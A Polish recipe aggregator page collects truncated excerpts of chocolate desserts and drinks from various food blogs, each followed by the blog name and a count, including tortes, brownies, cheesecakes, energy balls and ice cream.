Rozgrzewa, poprawia nastrój, zachwyca słodyczą . Nie ma lepszego napoju na pochmurny wieczór, niż kubek gorącej czekolady. Dla dzieci i ich rodziców. To moja ulubiona wersja. Spróbujcie ! POTRZEBUJEMY (na dwa kubki): 2 szklanki mleka skórka starta z 2 pomarańczy (najpierw pomarańczę szorujemy i sparzamy , potem ścieramy skórkę na małych oczkach) pół tabliczki mlecznej, dobrej jakościowo czekolady 2 łyżeczki kakao 1/4 szklanki(...)pół łyżeczki brązowego cukru Śmietanę ubijamy z cukrem i wstawiamy do lodówki. Mleko zagotowujemy razem ze skórką pomarańczową. Odstawiamy na pół godziny.Odcedzamy i ponownie zagotowujemy razem z czekoladą i kakao rozpuszczonym w małej ilości mleka. Mieszamy do rozpuszczenia składników i do momentu kiedy nasz napój będzie gorący. Podajemy z bitą śmietaną Smacznego

WYSPA SZCZĘSLIWA
Tort czekoladowy z wafelkami 130

przepyszny torcik, który zrobiłam dla męża koleżanki z pracy. Prezentuje się i smakuje świetnie!  Składniki : * biszkopt z tego przepisu * 4 śm ietan y kremówki  * 3 tabliczki mlecznej czekolady * łyżka cukru pudru * p ół szklanki soku pomarańczowego  * 200-300g dowolnych wafelków z orzechami Przygotowanie : Czekoladę połamać na kostki, zagrzać dwie śmi etany i wymieszać z czekoladą

Magiczne Życie Marty
Dżem,sos śliwkowy z czekoladą 207

gębie. Proste, szybkie, pyszne. Przepis na 8 mały słoiczków. 1,5 kg śliwek węgierek 0,5 szklanki cukru 1,5 tabliczki gorzkiej czekolady Śliwki wypestkować i upiec w piekarniku w temperaturze 180 C około pół godziny. Śliwki zblendować w garnku, dodać cukier. Podgrzać około 20 minut aż masa będzie już wystarczająco gęsta. Dodać czekoladę. Rozpuścić ją w masie śliwkowej

Humanistka w kuchni
Batony czekoladowe z quinoa 121

migdałów ⅓ szklanki nasion dyni ½ szklanki kosmosy ryżowej 1 szklanka jagód goji ¼ szklanki wiórków kokosowych Polewa czekoladowa: ¾ szklanki kakao ¼ szklanki miodu ¾ łyżki oleju kokosowego taką polewę można zastąpić kupną, gorzką czekoladą – najlepiej 90%. Przygotowanie: Mieszamy ze sobą: migdały, nasiona, wiórki kokosowe. Kosmosę wypłukaną i odsączoną wrzucamy na rozgrzaną patelnie i czekamy, aż zacznie strzelać jak popcorn. Trzymamy chwilę na ogniu(...)minut do piekarnika rozgrzanego do 100 stopni. Później blendujemy jagody goji i dodajemy do mieszanki. W garnku rozpuszczamy składniki na polewę – ciągle mieszając. Polewamy rozpuszczoną “czekoladą” nasz mix i odstawiamy do lodówki, albo zamrażarki na kilka godzin, tak aby wszystko stwardniało. W ten sposób powstanie nam “tabliczka” czekolady, którą łamiąc na drobniejsze kawałki formujemy na batoniki Smacznego! Artykuł Batony

PaleoLife
Tort kokosowy 189

octu - 3 łyżki oleju - cukier waniliowy - aromat (według uznania) Krem kokosowy: - 600ml mocno schłodzonej śmietany kremówki - 500g serka mascarpone - śmietanka z 1 puszki mleka kokosowego (puszka 400ml) - 300g białej czekolady - 200g wiórków kokosowych Dodatkowo: - woda kokosowa do nasączenia biszkoptu - niskocukrowy dżem z czarnej porzeczki - płatki migdałowe (uprażone na suchej patelni) - kwiaty z ananasa ( z tego przepisu ) - kokosowe kulki ( z tego(...)26cm) wykładamy papierem do pieczenia, wlewamy ciasto i wstawiamy do piekarnika nagrzanego do 180°C na 40 minut. Upieczony biszkopt odstawiamy do wystygnięcia. Przygotowujemy krem. Wiórki mielimy w blenderze. Czekoladę rozpuszczamy w kąpieli wodnej, pozostawiamy do wystygnięcia. Ubijamy śmietankę kremówkę. Z mleka kokosowego odlewamy płyn, a śmietankę dodajemy do ubijanej kremówki. Ubijając już na niższych obrotach dodajemy serki mascarpone

mojewypiekiinietylko
DYNIOWE SERNIKOBROWNIE Z MUSEM ŚLIWKOWYM 415

świeżych lub mrożonych) /  bez pestek, pokrojonych na połówki lub ćwiartki 2-3 łyżki cukru ( w zależności jak kwaśne są śliwki) SPÓD BROWNIE 200 g masła 200 g gorzkiej czekolady 200 g cukru (1 szklanka) 3 jajka 50 g zmielonych orzechów  90 g mąki pszennej MASA SEROWO-DYNIOWA / wszystkie składniki powinny być w temperaturze pokojowej 750 g tłustego twarogu(...)włączoną funkcją grzanie góra/dół bez termoobiegu. Na garnku z gotującą się wodą umieszczamy szklaną lub metalową miskę ( nie może dotykać wody). Dodajemy połamaną na kosteczki czekoladę oraz pokrojone masło. Podgrzewamy, cały czas mieszając, aż składniki się rozpuszczą i połączą w jednolitą masę. Nie podgrzewamy za bardzo. Lekko studzimy. W drugiej misce krótko ubijamy jajka z cukrem. Stopniowo, cały

cool and minty
OCZY CARYCY 340

łyżek mąki pszennej,  1 łyżka proszku do pieczenia,  4 łyżki oleju,  2 łyżki kakao,  olejek arakowy Krem czekoladowy: 0,5 l śmietany kremówki, 1 czekolada mleczna, 1 czekolada gorzka, 2 łyżki cukru pudru, Krem kokosowy: 1 szkl. śmietanki 36%, 2 łyżki wiórek kokosowych,  2 łyżki cukru pudru Polewa kakaowa: 3 łyżki margaryny, 3 łyżki kakao(...)przemian wykładamy ciasto białe i ciemne. Pieczemy ok. 35-40 min w 180 stopniach. Po upieczeniu studzimy i przekrawamy na 2 placki, nasączamy herbatą. Krem: śmietankę podgrzewamy z czekoladami i mieszamy do połączenia składników. Odstawiamy do wystudzenia najlepiej na całą noc. Następnie ubijamy z dodatkiem cukru. Cały krem wykładamy na 1 warstwę ciasta, na kremie układamy biszkopty nasączone w herbacie

słodki bratek
Tort gruszkowo - czekoladowy 183

łyżki oleju 3 łyżki kakao Krem: 500 ml kremówki 100g mascarpone 5 łyżeczek żelatyny 2 łyżki cukru pudru 1 puszka kajmaku 1 puszka gruszek w zalewie 1 tabliczka gorzkiej czekolady- zimnej Polewa: 250g cukru 3 łyzki kakao 250ml śmietany 30% 250 ml wody łyżka żelatyny Biszkopt: Żółtka rozdzielić od białek. Białka ubić na sztywno, dodać cukier i dalej ubijać, dodać(...)ciasto wyrównujemy wkładamy następny krążek ciasta dopychamy delikatnie. wstawiamy do lodówki. W tym czasie zagotować wodę, kakao, śmietanę i cukier. Łyżkę żelatyny rozpuścić i dodać do polewy. Wystudzić. Zimną czekoladę zetrzeć na tarce lub możemy zrobić to przy pomocy obieraczki do warzyw. Schłodzony tort wyłożyć z tortownicy. Posmarować pozostałym kajmakiem równomiernie. Rozlać na nim przygotowaną wcześniej polewę, która zaczyna tężeć

Garnkowe fanaberie
Tort czekoladowy z malinami (bez mąki) 205

niczym bo samo w sobie jest bardzo gęste i wilgotne. Dodam, że tort robi się bardzo prosto a mikser jest naprawdę zbędny! Skusicie się?  Ciasto: 300 g gorzkiej czekolady  200 g suszonych daktyli 150 g oleju kokosowego lub oleju z pestek winogron, ewentualnie rzepakowego 100 g mielonych migdałów bez skórki 5 jajek (L) 1 łyżka ciemnego kakao duża(...)miseczki, zalać wrzątkiem, tylko tyle pokryła je woda. Odstawić na 10 minut by zmiękły i napęczniały, następnie odsączyć z wody na sitku i zmiksować na gładką masę np. blenderem. Czekoladę połamać na małe kawałki, wrzucić do rondelka, dodać olej. Rozpuścić na bardzo małym ogniu mieszając od czasu do czasu aż składniki połączą się i powstanie jednolita czekoladowa masa. Dodać zmiksowane

maniapieczenia
Tarta czekoladowa z malinami 139

szklanka orzechów ziemnych (ok. 130 g), - szklanka nasion słonecznika (ok. 155 g), - szklanka wiórków kokosowych (ok. 100 g), - łyżka kakao (ok. 10 g), - banan (ok. 115 g), - tabliczka gorzkiej czekolady (ok. 100 g), - tabliczka mlecznej czekolady (ok. 100 g), - puszka mleka kokosowego (ok. 400 g), - 2 szklanki malin (ok. 240 g). Sposób przygotowania: 1. Daktyle zalewamy gorącą wodą i odstawiamy(...)drobne okruszki. 4. Rozgniatamy banana i łączymy go z kakao, wiórkami, orzechami i nasionami. 5. Formę do tarty wylepiamy przygotowaną masą. 6. Zagotowujemy mleko kokosowe. Do mleka dodajemy czekolady i mus daktylowy. 7. Masę wylewamy na spód. Gdy krem lekko przestygnie dekorujemy go owocami. 8. Tartę chłodzimy w lodówce ok. 2 h. Tarta jest bogata w: - błonnik pokarmowy, który obniża

Zdrowe odżywianie w pięciu smakach
Owsiane FIT placki z gorzką czekoladą :) 135

łyżeczki proszku do pieczenia 1 łyżeczka cukru trzcinowego z prawdziwą wanilią 100 ml napoju roślinnego lub mleka  2,5 łyżeczki NutriBlastu SuperBoost (NutriBullet.pl) 2 kostki gorzkiej czekolady 90% 1 łyżeczka oleju kokosowego - opcjonalnie  Przygotowanie: Wszystkie składniki przełóż do kielicha i zmiksuj w NutriBullet   na jednolitą konsystencje.  Na patelni rozgrzej olej kokosowy lub smaż bez oleju(...)wylej porcję masy. Na wierzchu każdego placka ułóż pokruszoną czekoladę. Po minucie przewróć placki na drugą stronę i smaż do zrumienienia. Podawaj z ulubionymi dodatkami, u mnie mango i pozostała czekolada :) UWAGA! UWAGA! UWAGA! Specjalnie dla Was! Kod rabatowy o wartości  -10%  na każdy, dosłownie każdy  Nutribullet  dostępny na stronie  SKLEPU !!!! Możecie z niego korzystać

Zdrowie na języku :P
Ciasto czekoladowo-gruszkowe 245

Kakaowy biszkopt z masą śmietanową z czekoladą oraz galaretką z gruszkami. Ciasto proste a jakie dobre :) Składniki: Biszkopt kakaowy: 5 jajek 3/4 szklanki cukru 3/4 szklanki mąki 2 łyżki kakao 1 łyżeczka proszku do pieczenia   Masa czekoladowa: 200 g śmietany 30 % 250 g serka mascarpone 3 łyżki cukru pudru 100 g mlecznej czekolady   Galaretka: 2 galaretki agrestowe(...)pieczenia i pieczemy w 180 stopniach ok. 30 minut. Studzimy. 2. Masa czekoladowa: Śmietanę ubijamy na sztywno z cukrem pudrem. Dodajemy serek mascarpone oraz startą na dużych oczkach czekoladę. Wszystko dokładnie mieszamy i wykładamy na biszkopt. Wstawiamy do lodówki do stężenia masy. 3. Galaretka: Obie galaretki rozpuszczamy w 3,5 szklankach wrzątku. Z gruszek usuwamy gniazda nasienne i kroimy

Na Ciasteczkowych Papierach
Drożdżowe rogaliki z czekoladą i rodzynkami 178

Rogaliki to jedne z moich ulubionych ciastek. Tym razem przygotowałam rogaliki z ciasta drożdżowego, a do nadzienia wykorzystałam gorzką czekoladę i rodzynki. Ciasteczka wyszły przepyszne. Rogaliki i szklanka ciepłego kakao to doskonały deser, na długie jesienne wieczory.  SKŁADNIKI: 2,5 szklanki mąki, ¾ szklanki mleka, 30g świeżych drożdży, 1 jajko, 1 opakowanie cukru waniliowego, 1 łyżka cukru, 50g masła(...)łyżeczki soli, 1 tabliczka gorzkiej czekolady, 60g rodzynek. PRZYGOTOWANIE: 1. Mleko podgrzewam. Dodaję pokruszone drożdże, 1 łyżeczkę cukru i 1 łyżeczkę mąki. Mieszam i odstawiam na 15 minut do wyrośnięcia. 2. Mąkę przesiewam do dużego naczynia. Dodaję wyrośnięty rozczyn, jajko, cukier, cukier waniliowy, sól oraz rozpuszczone masło. Wyrabiam ciasto. Odstawiam na 45 minut do wyrośnięcia. 3. Ciasto przekładam na stolnicę

Tradycyjna kuchnia Kasi
Ciastka "Ziarna kawy" (czekoladowo-kawowe) 117

się pomyliłam, bo są nie tylko urocze, ale i... pyszne! Takie czekoladowo-kawowe, lekko maślane, kruche... Nawet piekłam je kilka razy pod rząd... Zrobiłam dwie wersje: w czekoladzie i bez. Przyznam, że bardziej odpowiada mi ta druga - jest jakby delikatniejsza. Kombinowałam też z różnymi kawami Tommy Cafe : z naturalną i smakową... Pyszności! Koniecznie spróbujcie i zaskoczcie swoich bliskich! Efekt gwarantowany(...)zrobić sami - klik ) 1 żółtko 1 łyżeczka kakao 1-2 łyżeczki kawy mielonej (nierozpuszczalnej; raz użyłam naturalnej , innym razem smakowej ) 1/2 łyżeczki proszku do pieczenia Dodatkowo (opcjonalnie):  50g czekolady  1 łyżka mleka 1 łyżka masła (płaska)  Wszystkie składniki należy umieścić w misce lub na stolnicy, a następnie szybko zagnieść - do uzyskania jednolitej konsystencji. (W razie potrzeby - dosypać

Di gotuje
Bezglutenowy tort z czereśniami 150

czereśni Krem: 500 ml śmietanki 30% 400 g serka mascarpone 4 łyżki cukru pudru Dekoracja: 500 ml śmietanki 30% 4 łyżki cukru pudru ładne czereśnie z szypułkami kilka kostek czekolady deserowej płatki migdałowe (ok. 100 g) Masa czereśniowa: Wypestkowane czereśnie włóż do garnka zalej wodą i zagotuj. Gotuj na małym ogniu około 4-5 minut. Posłodź. Mąkę ziemniaczaną rozpuść(...)wlej do kompotu. Mieszaj aż do zgęstnienia (jak kisiel). Odstaw do wystygnięcia. Dekoracja tortu: Śmietankę ubij na sztywno z cukrem pudrem. Płatki migdałowe upraż na złoto na suchej patelni. Czekoladę posiekaj na wiórki. Wykonanie tortu: Ostudzony biszkopt przekrój wzdłuż na 3 równe blaty. Na paterę nałóż połowę masy czereśniowej i ok. 1/3 przygotowanego kremu. Przykryj kolejnym blatem i  nałóż

Kuchnia bezglutenowa
Serniczki z jagodami w szklance 98

waniliowego 200 g śmietanki 30% 2 łyżeczki cukru pudru Sos jagodowy: 200 g jagód 1 łyżka cukru 4 łyżki wody 1 łyżeczka mąki ziemniaczanej Polewa czekoladowa: 100 g gorzkiej czekolady 120 g śmietanki 30% 25 g masła Pokruszone ciastka umieść na dnie szklaneczek. Serek zmiksuj ze  śmietanką i cukrem pudrem. Jagody umieść w garnuszku z wodą, cukrem i mąką(...)ziemniaczaną. Zagotuj. Wystudź. Śmietankę na polewę wlej do garnuszka i wrzuć połamaną na kosteczki czekoladę. Mieszaj aż do całkowitego rozpuszczenia czekolady, a następnie dodaj masło. Energicznie wymieszaj by polewa była gładka i jednolita. Wystudź. Na ciastkach ułóż warstwę sosu jagodowego, serek, ponownie sos jagodowy i serek. Całość polej polewą czekoladową i udekoruj. Smacznego

Kuchnia bezglutenowa
Bezmleczny i bezcukrowy deser z malinami 108

Idealny na upalne dni. Koniecznie spróbujcie! SKŁADNIKI: 1 puszka mleka kokosowego schłodzonego przez 12 godzin w lodówce 1 łyżka ksylitolu 250 g malin Polewa czekoladowa:  100 g gorzkiej czekolady  150 g mleczka kokosowego Polewa: Mleczko wlej do garnuszka i wrzuć połamaną na kosteczki czekoladę. Mieszaj aż do całkowitego rozpuszczenia czekolady. Wystudź. Schłodzone mleczko kokosowe  ostrożnie otwórz

Kuchnia bezglutenowa
Mus kakaowy z kaszy jaglanej 112

zaspokojenie ochoty na małe, słodkie co nieco. Czas przygotowania i ilość porcji 30 minut, 2 porcje. Produkty szklanka kaszy jaglanej, szklanka mleka, łyżka kakao, łyżka miodu, orzechy, gorzka czekolada, maliny, truskawki lub dżem owocowy do smaku. Przygotowanie Kasze jaglaną wsyp do garnka i zalej mlekiem. Gotuj, aż całe mleko wsiąknie i kasza zmięknie. Gdy kasza ostygnie przełóż ją do wysokiego(...)naczynia, dodaj kakao i miód, a następnie zmiksuj blenderem. Mus przełóż do naczyń, udekoruj owocami lub dżemem, posyp orzechami i startą, gorzką czekoladą. Wiem co jem: Kasza jaglana polecana jest osobą będącym na diecie łatwostrawnej. Zalecana jest osobą, które nie mogą jeść glutenu, ponieważ go nie zawiera. Znajdziemy w niej za to dużą ilość białka, które jest łatwo przyswajalne. Kasza

Fit&Fast Kitchen
Gotuj z E.Wedel 119

Gotuj z E.Wedel", czyli z Maestro Czekolady Joanną i Januszem Profus W piątek 26 lutego miałam okazję uczestniczyć w warsztatach prowadzonych przez Maestro Czekolady, którym towarzyszył uroczy Wargorr :)  Na warsztatach przygotowaliśmy kakaową bezę z krem chałwowym i wegetariańskie burgery z buraków, w których nie mogło zabraknąć czekolady. Wszystkie dania były bardzo smaczne, a gotowanie pod okiem takich mistrzów

Kuchnia Bon Appetit
Mazurek wielkanocny z powidłami z płatków róży i gorzką czekoladą 92

theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} Mazurek wielkanocny z powidłami z płatków róży i gorzką czekoladą Składniki – ciasto: Masło – 250g Cytryna (skórka) – 1 sztuka Cukier puder – 200g Żółtko – 2 sztuki Sól – szczypta Składniki – masa marcepanowa do ozdobienia: Surowa masa marcepanowa – 200g Białka – 2 sztuki Składniki – masa(...)czekoladowa: Czekolada gorzka – 200g Miód – 2 łyżki Śmietanka 30% - 150 ml Masło – 20g Cynamon – szczypta Powidła z płatków róży – 4 łyżki Dodatkowo: suszone owoce (np. suszone morele Kresto ), orzechy, migdały Wykonanie – ciasto: Miękkie masło połączyć z cukrem, startą skórką z cytryny, mąką solą i żółtkami, a następnie zagnieść i wstawić do lodówki na 30 minut. Po tym czasie rozwałkować

Kuchnia Bon Appetit
Brownie z chilii 166

chciała spróbować "zakalca", albo ciasto wyjdzie zbyt suche. Niepotrzebnie- ciasto lekko wyrosło, jest wilgotne w środku, dość ciężkie, ale żadna ciocia nie powie, że chyba coś nie wyszło... Smak czekolady podbija dodatek chilii. Bardzo smaczny początek jesieni, polecam :) Składniki na formę 11x37cm: 115 g masła 100 g gorzkiej czekolady 120g mąki pszennej 30g ciemnego kakao szczypta chilii szczypta soli(...)jajka 2/3 szklanki drobnego cukru  Masło topimy. Po zdjęciu z palnika dodajemy do niego pokruszoną czekoladę.Mieszamy, aby powstał gładki krem. Mąkę przesiewamy z kakao i przyprawami. Jajka mieszamy z cukrem. Wszystkie składniki łączymy. Przekładamy do foremki wyłożonej papierem do pieczenia. Wygładzamy powierzchnię. Pieczemy 27 minut w temperaturze 160 stopni. Smacznego

Wrzosowa Polana
Czekolada daktylowo - bananowa. Bez mleka, bez sztucznych dodatków 137

Czekolada Składniki: 10 daktyli bez pestek 100 ml mleka ryżowego 1 banan 2 łyżki kakao Daktyle zalałam mlekiem i dusiłam na wolnym ogniu ok 7 minut. Następnie dodałam banana i kakao Wszystkie składniki zblendowałam na gładką czekoladę. Czekolada super smakuje w wersji zarówno na ciepło, jak i na zimno

nietadieta
Fit tarta bez pieczenia z musem malinowym i białą czekoladą z kokosa 140

również pełne cennych składników odżywczych. Klasyczny kruchy spód zastąpiłem w tym przepisie amarantusem ekspandowanym i daktylami, malinowy dżem pełen cukru zamieniłem na lekki mus z nasionami chia, zaś białą czekoladę przygotowałem, topiąc blok kokosowy i aromatyzując go wanilią. Ciasto totalnie wymiata! Wypróbujcie koniecznie! * SKŁADNIKI na foremkę o średnicy 20 cm (8 porcji) Spód: 2 szklanki amarantusa ekspandowanego ¾ szklanki daktyli(...)łyżka oleju kokosowego Mus malinowy: 350 g malin 3 łyżki nasion chia 2 łyżeczki erytrytolu Biała czekolada: 200 g bloku kokosowego (100% miąższu z kokosa) 1 laska wanilii 1 łyżeczka erytrytolu Dodatkowo: maliny do przybrania * PRZYGOTOWANIE Spód Daktyle namocz przez noc w zimnej wodzie lub zalej wrzątkiem i odstaw na kwadrans. Odlej wodę i zmiksuj na purée. Połącz z amarantusem

Food Square
Ciasteczka kokosowe 210

dziecko by sobie poradziło z ich zrobieniem. W końcu te ciasteczka kokosowe są specjalnie wymyślone dla leniwych, więc nie mogą być skomplikowane. Robiąc ciasteczka kokosowe, opcjonalnie możesz dodać np. czekoladę. Bardzo fajnie będzie współgrała z kokosem i bananem. Innych połączeń nie testowałem, ale zapewne dodatek suszonego ananasa czy innego egzotycznego owocu również będzie dobrym pomysłem. Zobacz również inne przepisy(...)ciastka Ciasteczka kokosowe 2 składnikowe Wydrukuj przepis Porcji: 4 ciasteczka Czas przygotowania: 20 minut Potrzebujesz: 1 banan 65g wiórków kokosowych *opcjonalnie czekolada, suszone owoce lub na co tylko masz ochotę Wykonanie: 1 Piekarnik ustaw na 180 stopni. 2 Wszystkie (aż 2) składniki umieść w malakserze i miksuj przez kilka chwil. Chodzi o to, żeby banany i wiórki się dobrze połączyły

Blendman
ciasto Katarzynka, z piernikami i masą :-) 236

jest jednak wysokie, jest w sam raz.  Najpierw mamy cieniutki biszkopt, następnie powidła śliwkowe, potem ułożone pierniczki, masę, biszkopt nr 2 i masę. Całość posypujemy startą deserową czekoladą.  Smaki ciasta komponują się idealnie, kwaskowość powideł świetnie współgra ze smakiem pierniczków i masy, a delikatny biszkopt świetnie scala całość. Ciasto wychodzi zawsze, bo jest niezwykle proste w przygotowaniu. Wygląda(...)stopniowo zimny budyń.  DODATKI: -2,5 opakowania pierniczków Katarzynki *ja piekłam sama według przepisu z 5 grudnia -archiwum (połowa porcji) - 3,5 czubate łyżki powideł śliwkowych -1 tabliczka czekolady deserowej Teraz przechodzimy do składania ciasta :-) Najpierw jeden biszkopt smarujemy powidłami,  na powidła układamy pierniczki następnie wykładamy na pierniczki 2/3 masy,  na masę dajemy drugi biszkopt, smarujemy

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Pyszne ciasto z colą i masą herbatnikowo-orzechową :-) 669

ciekawy smak. Pierwsza z nich to kakaowy biszkopt, na nim znajduje się pyszna masa składająca się ze zmielonych herbatników i orzechów oraz coli, całość zaś wieńczy bita śmietana posypana czekoladą.  Ciasto jest proste w przygotowaniu, bardzo pyszne i ładnie wygląda. Polecam Wam przygotowanie. No to zaczynamy: SKŁADNIKI:     * przepis na dużą blaszkę BISZKOPT: -6 jajek(...)śmietany 30% -2 łyżki cukru pudru -3 śmietan fixy  *jeśli nie lubicie używać śmietan fixów, dajcie żelatynę około 2 łyżki rozpuszczamy w 0,5 szkl wody -trochę czekolady gorzkiej do posypania ciasta (około 0,5 tabliczki) Schłodzoną śmietankę  chwilę ubijamy.  Śmietan fixy mieszamy z cukrem pudrem i dodajemy do jeszcze nie ubitej śmietany, ubijamy do sztywności. Wiem

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Pyszne ciasto biały lion, z ryżem preparowanym 67830

zaczynamy:    SKŁADNIKI NA DUŻĄ BLASZKĘ  2 BISZKOPTY: -6 jajek -1 szkl cukru -1,5 szkl mąki tortowej -2 łyżki mąki ziemniaczanej -pół tabliczki białej czekolady *składniki dzielimy na pół, i przygotowujemy 2 biszkopty, czyli na jeden biszkopt wchodzić ma: 3 jajka, 0,5szkl cukru, 3/4 szkl mąki, 1 łyżka mąki ziemniaczanej, 1/4 tabliczki białej czekolady. Białka oddzielamy(...)żółtek, ubijamy, dodajemy cukier, żółtka, i na koniec maki, wszystko delikatnie miksujemy. Na koniec dodajemy startą białą czekoladę, i wszystko mieszamy. Blaszkę smarujemy tłuszczem i posypujemy bułką tartą. Ciasto wylewamy do blaszki i pieczemy około 10 minut w temperaturze 170 stopni.  *biszkopty wychodzą dość cienkie :-) MASA: -4 żółtka -4 szkl mleka -4 łyżki mąki ziemniaczanej -6 łyżek mąki pszennej

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Ciasto jamajka-z bananami, bitą śmietaną i galaretką 231

przychodzę do Was z ostatnio dość popularnym ciastem-ciastem jamajka. Jest to bardzo pyszne ciasto, które składa się z kakaowego biszkopta,bananów,galaretki,bitej śmietany,i całość jest posypana czekoladą. Ciasto jest wspaniałe w smaku, muszę jednak troszkę zmodyfikować przepis, bo wychodzi dość wysokie, a ja nie przepadam za wysokimi ciachami, po prostu jak będę je piekła następnym razem(...)śmietan-fixy -3 łyżki cukru pudru DODATKOWO: -sok z 1/2 cytryny do posmarowania bananów by nie ciemniały -5 dużych bananów -2 galaretki cytrynowe -800ml wrzątku -0,5 tabliczki czekolady deserowej 2 galaretki cytrynowe rozpuszczamy w 800 ml wrzącej wody, odstawiamy do całkowitego ostudzenia i lekkiego stężenia. Potem  przygotowujemy biszkopt. Białka oddzielamy od żółtek i ubijamy ze szczyptą soli

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Sernik śliwkowo-pomarańczowy na brownie 177

Obłędnie czekoladowe brownie, pomarańczowy sernik i słodko kwaśny mus śliwkowy z pomarańczą. A to wszystko w jednym kawałku ciasta! Tortownica 20 cm Brownie: 60 g masła 100 g czekolady mlecznej 1 jajko 75 g cukru 1 łyżeczka cukru waniliowego 70 g mąki pszennej Szczypta proszku do pieczenia Masa serowa: 350 g twarogu sernikowego (z wiaderka) 0,5 szklanki cukru(...)śliwkowo – pomarańczowy: 0,5 kg śliwek (po wydrylowaniu) 1 pomarańcza 1 galaretka pomarańczowa 1 galaretka o smaku Blue Caracao Brownie: W garnku roztapiamy masło, zdejmujemy z ognia, dodajemy połamaną czekoladę. Odstawiamy na 3 minuty, mieszamy do rozpuszczenia.  Jajka ubijamy trzepaczką, dodajemy cukier oraz cukier waniliowy. Wlewamy masło z czekoladą. Mieszamy i stopniowo dosypujemy przesianą mąkę z proszkiem. Masa musi

VioletoweKucharzenie
Lody! bez cukru i mleka, a jakie dobre :) 360

dowolne inne owoce, zazwyczaj daję z bananami w proporcji 1:1) Przygotowanie: Owoce obierz, pokrój na kawałki i zamroź Zamrożone owoce zmiksuj w malakserze  Przełóż do salaterek, polej czekoladą i delektuj się :)  Polewa: 2 paski czekolady gorzkiej (dałam z orzechami laskowymi) 2 łyżki oleju kokosowego 2 łyżki mleka sojowego łyżka kakao łyżka masła orzechowego 100% Przygotowanie: Umieść czekoladę

pyszne zdrowości
Ciasteczka z masła orzechowego, z czekoladą, bezglutenowe i wegańskie czyli Słodki Czwartek odc.113 181

mogę przystąpić do działania.  Na początek z połowy porcji (przecież Córcia nie lubi masła orzechowego). Pomysł podejrzałam na blogu erVegan . Pomysł grzechu wart! Ciasteczka z masła orzechowego, z czekoladą, bezglutenowe i wegańskie na ok 30 niedużych ciastek: 220 ml masła orzechowego, u mnie z kawałkami orzechów 100 ml syropu klonowego (dowolnego ulubionego) 10 sztuk daktyli namoczonych wcześniej(...)gorącej wodzie przez kilka minut 200 ml mąki ryżowej 60 g gorzkiej czekolady szczypta soli Do miski wkładamy masło orzechowe, dodajemy syrop klonowy i mieszamy. Dodajemy posiekane daktyle i posiekaną czekoladę Ucieramy a następnie dodajemy mąkę ryżową i szczyptę soli. Zagniatamy ciasto ręką. Piekarnik nagrzewamy na 190 st.C. Blaszkę wykładamy papierem do pieczenia. Z ciasta formujemy małe kuleczki i lekko

Dzieje kuchennej Wiewióry
Cycki murzynki 765

ciasto chyba każdy zna, choćby z nazwy ;)  taka klasyka - makowo-kokosowy spód, a na nim delikatny krem i biszkopty oblane czekoladą po prostu pysznie. Dlatego bez zbędnego gadania zapraszam na przepis.   Ciasto: 1 szklanka suchego maku 1 szklanka wiórek kokosowych 1 szklanka białek 1 szklanka cukru 1 1/2 łyżeczki proszku do pieczenia szczypta soli Białka ubijamy(...)minut w 180 st. C   Masa: 1 szklanka mleka 1 szklanka cukru 3 jajka 1 łyżka mąki ziemniaczanej  1 łyżka mąki pszennej 1 masło biszkopty czekolada Jajka ubijamy z cukrem do momentu aż ten się całkowicie rozpuści, a następnie dodajemy mąki. Mleko zagotowujemy najlepiej w garnku z grubym dnem. Do gotującego wlewamy masę jajeczno mączną i gotujemy

Cynamonowe szczęście
Lody miętowe z czekoladą 188

Pogoda nas rozpieszcza, czas więc na lody :) Miętowe, bardzo orzeźwiające i intensywne w smaku. Z dodatkiem drobniutkich kawałków gorzkiej czekolady, smakują cudownie Składniki: 400 ml mleka skondensowanego niesłodzonego 400 g śmietany 36% 150 g cukru pudru 75 g świeżej mięty 2-3 łyżeczki ekstraktu miętowego 75 g gorzkiej czekolady Listki mięty włożyć do misy blendera, wlać schłodzone mleko skondensowane(...)masy śmietanowej dodać mleko miętowe i ekstrakt miętowy, dokładnie zmiksować na puszysto. Spienioną masę przelać do pojemnika, wstawić do zamrażalnika. Wyjąć po około 3 godzinach, wmieszać drobno posiekaną czekoladę. Zamrozić. Smacznego :) Ps. Ilość mięty i kropli miętowych, dodanych do przepisu zależy od intensywności smaku świeżej mięty, dopasujcie tak, jak lubicie najbardziej

Domowa cukiernia Ewy
Domowe ferrero rocher (kule, które dodają energii) 154

ferrero rocher potrzebna jest mi w krytycznym momencie spadku formy, czyli około godziny 17:00. Jest to o wiele zdrowszy wybór niż kostka (na kostce się nigdy nie kończy!) czekolady czy ciasteczek.  Możesz je zrobić z dziećmi, bo są szybkie i łatwe w przygotowaniu - bez pieczenia. Szalenie smaczne, naturalnie słodzone, krótko mówiąc - idealne. Potrzebujesz tylko kilku składników(...)słonecznik płatki owsiane kokos rodzynki cynamon masło orzechowe Wykonanie Wszystkie składniki miksujemy i formujemy kulki. Obtaczamy w zmielonych orzeszkach. Jeśli masz ochotę to możesz dodatkowo zanurzyć kulki w domowej czekoladzie. Najbardziej czasochłonne jest lepienie kulek. Jeśli do zabawy zaprosisz dzieciaki to gwarantuję, że formowanie kulek (i nie tylko ;)) będzie dla nich niezłą frajdą. Maluchy uwielbiają bawić się masą, która klei

lady-och-mistrzyni.blogspot.com
CZEKOLADOWE MINI SERNICZKI 241

Lubicie gorzką czekoladę? Ja bardzo. Lubicie sernik? Ja bardzo. Dlatego łączę te pyszności tworząc lekkie i małe mini serniczki. W sam raz na jeden pyszny gryz . Kto zajada z e mną ? POTRZEBUJEMY ( na około 16 sztuk) 3 jajka 500g mielonego twarogu 16 ciasteczek oreo lub innych (np. bezglutenowych) 200 ml śmietany kremówki 200 g gorzkiej czekolady 6 łyżek mleka(...)cukru 40 g niesłodzonego budyniu czekoladowego (proszek)  1 łyżka kakao Śmietanę razem z czekoladą rozpuszczamy , nie dopuszczając do gotowania. Dodajemy mleko, mieszamy i zostawiamy do ostygnięcia. Piekarnik rozgrzewamy do 175 stopni. Jajka miksujemy z cukrem , dodajemy budyń i kakao. Dodajemy masę serową i masę czekoladową. Mieszamy do uzyskania jednolitej masy. Do papilotek wkładamy po ciasteczku i nakładamy masę serowo

WYSPA SZCZĘSLIWA
Koktajl bananowy, idealny na śniadanie 144

